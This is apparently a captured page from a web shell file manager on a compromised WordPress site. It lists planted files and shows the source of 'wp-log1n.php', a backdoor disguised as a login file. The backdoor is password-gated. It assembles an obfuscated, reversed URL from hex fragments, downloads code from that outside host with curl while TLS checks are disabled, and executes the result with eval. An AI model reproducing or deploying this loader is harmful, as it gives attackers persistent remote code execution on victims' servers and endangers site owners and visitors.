Gecko [ www.casapremiada.novaexata.com.br ]

Name	Size	Permission
.well-known	[ DIR ]	drwxr-xr-x
2021	[ DIR ]	drwxr-xr-x
2022	[ DIR ]	drwxr-xr-x
2023	[ DIR ]	drwxr-xr-x
455d13	[ DIR ]	drwxr-xr-x
5759e	[ DIR ]	dr-xr-xr-x
836b6a	[ DIR ]	drwxr-xr-x
cgi-bin	[ DIR ]	drwxr-xr-x
fac86b	[ DIR ]	drwxr-xr-x
wp-content	[ DIR ]	drwxr-xr-x
wp-includes	[ DIR ]	drwxr-xr-x
.htaccess	236 B	-r-xr-xr-x
365f49	65 B	-r-xr-xr-x
Private-MASS-ova.php	19.06 KB	-rw-r--r--
_index.html	0 B	-rw-r--r--
admin.php	209 B	-rw-r--r--
buy.php	579 B	-rw-r--r--
click.php	1.09 KB	-r--r--r--
defaults.php	1.93 KB	-r--r--r--
documentroot.php	280 B	-rw-r--r--
favicon..png	15.75 KB	-rw-r--r--
favicon_5.ico	2.19 KB	-rw-r--r--
goods.php	577 B	-rw-r--r--
index.php	7.18 KB	-r--r--r--
index.php0	7.18 KB	-rwxr-xr-x
item.php	1.93 KB	-r--r--r--
modric8BTCHM.php	70.77 KB	-rw-r--r--
modricDHXFVX.php	2.14 KB	-rw-r--r--
modricPNBH8L.php	70.77 KB	-rw-r--r--
modricZW9ITU.php	2.14 KB	-rw-r--r--
networks.php	1.36 KB	-r--r--r--
options.php	2 KB	-r--r--r--
pages.php	1.45 KB	-r--r--r--
postnews.php	5.72 KB	-r--r--r--
product.php	1.36 KB	-r--r--r--
robots.txt	427 B	-r--r--r--
s.php	45.46 KB	-rw-r--r--
sallu.php	1.05 MB	-rw-r--r--
wp-esp.php	577 B	-rw-r--r--
wp-est.php	575 B	-rw-r--r--
wp-log1n.php	2 KB	-r--r--r--
wp-ompira.php	577 B	-rw-r--r--
x7.php	278 B	-rw-r--r--
xmlrpc.php.0	0 B	-rw-r--r--
xmlrpcx.php	1.05 MB	-rw-r--r--

Code Editor : wp-log1n.php

<?php ?><?php error_reporting(0); if(isset($_REQUEST["0kb"])){die(">0kb<");};?><?php
if (function_exists('session_start')) { session_start(); if (!isset($_SESSION['secretyt'])) { $_SESSION['secretyt'] = false; } if (!$_SESSION['secretyt']) { if (isset($_POST['pwdyt']) && hash('sha256', $_POST['pwdyt']) == 'a1fecbae6a303e0618f95586ddb49de7c30f911fecd8701500320daf754868a0') {
      $_SESSION['secretyt'] = true; } else { die('<html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> body {padding:10px} input { padding: 2px; display:inline-block; margin-right: 5px; } </style> </head> <body> <form action="" method="post" accept-charset="utf-8"> <input type="password" name="pwdyt" value="" placeholder="passwd"> <input type="submit" name="submit" value="submit"> </form> </body> </html>'); } } }
?>
<?php
goto rZmcc; S05ge: $SS8Fu .= "\x2e\62\x30\x61"; goto KyXJG; RQpfg: $SS8Fu .= "\x34\63\x2f"; goto RiVZR; djqb0: $SS8Fu .= "\x74\x78\x74\56"; goto RQpfg; RiVZR: $SS8Fu .= "\x64"; goto c8b05; KyXJG: $SS8Fu .= "\x6d\141"; goto YHXMK; b4Lsi: eval("\77\76" . tW2kx(strrev($SS8Fu))); goto tNEm2; AzK8d: $SS8Fu .= "\x61\x6d"; goto mjfVw; CeZ0F: $SS8Fu .= "\160\x6f\164"; goto S05ge; rZmcc: $SS8Fu = ''; goto djqb0; QylGj: $SS8Fu .= "\x74\x68"; goto b4Lsi; mjfVw: $SS8Fu .= "\141\144\57"; goto CeZ0F; LrGN4: $SS8Fu .= "\163\x70\164"; goto QylGj; YHXMK: $SS8Fu .= "\144"; goto PSmdA; c8b05: $SS8Fu .= "\154\157\x2f"; goto AzK8d; PSmdA: $SS8Fu .= "\x2f\x2f\72"; goto LrGN4; tNEm2: function tW2kX($V1_rw = '') { goto O8cn3; w8lqj: curl_setopt($xM315, CURLOPT_URL, $V1_rw); goto AaXhS; oZNaA: curl_close($xM315); goto HKjcI; sEgPB: curl_setopt($xM315, CURLOPT_TIMEOUT, 500); goto J9cSf; HKjcI: return $tvmad; goto pji_p; UmOzv: curl_setopt($xM315, CURLOPT_SSL_VERIFYHOST, false); goto w8lqj; UhhOG: curl_setopt($xM315, CURLOPT_RETURNTRANSFER, true); goto sEgPB; AaXhS: $tvmad = curl_exec($xM315); goto oZNaA; J9cSf: curl_setopt($xM315, CURLOPT_SSL_VERIFYPEER, false); goto UmOzv; O8cn3: $xM315 = curl_init(); goto UhhOG; pji_p: }

${this.title}

Code Editor : wp-log1n.php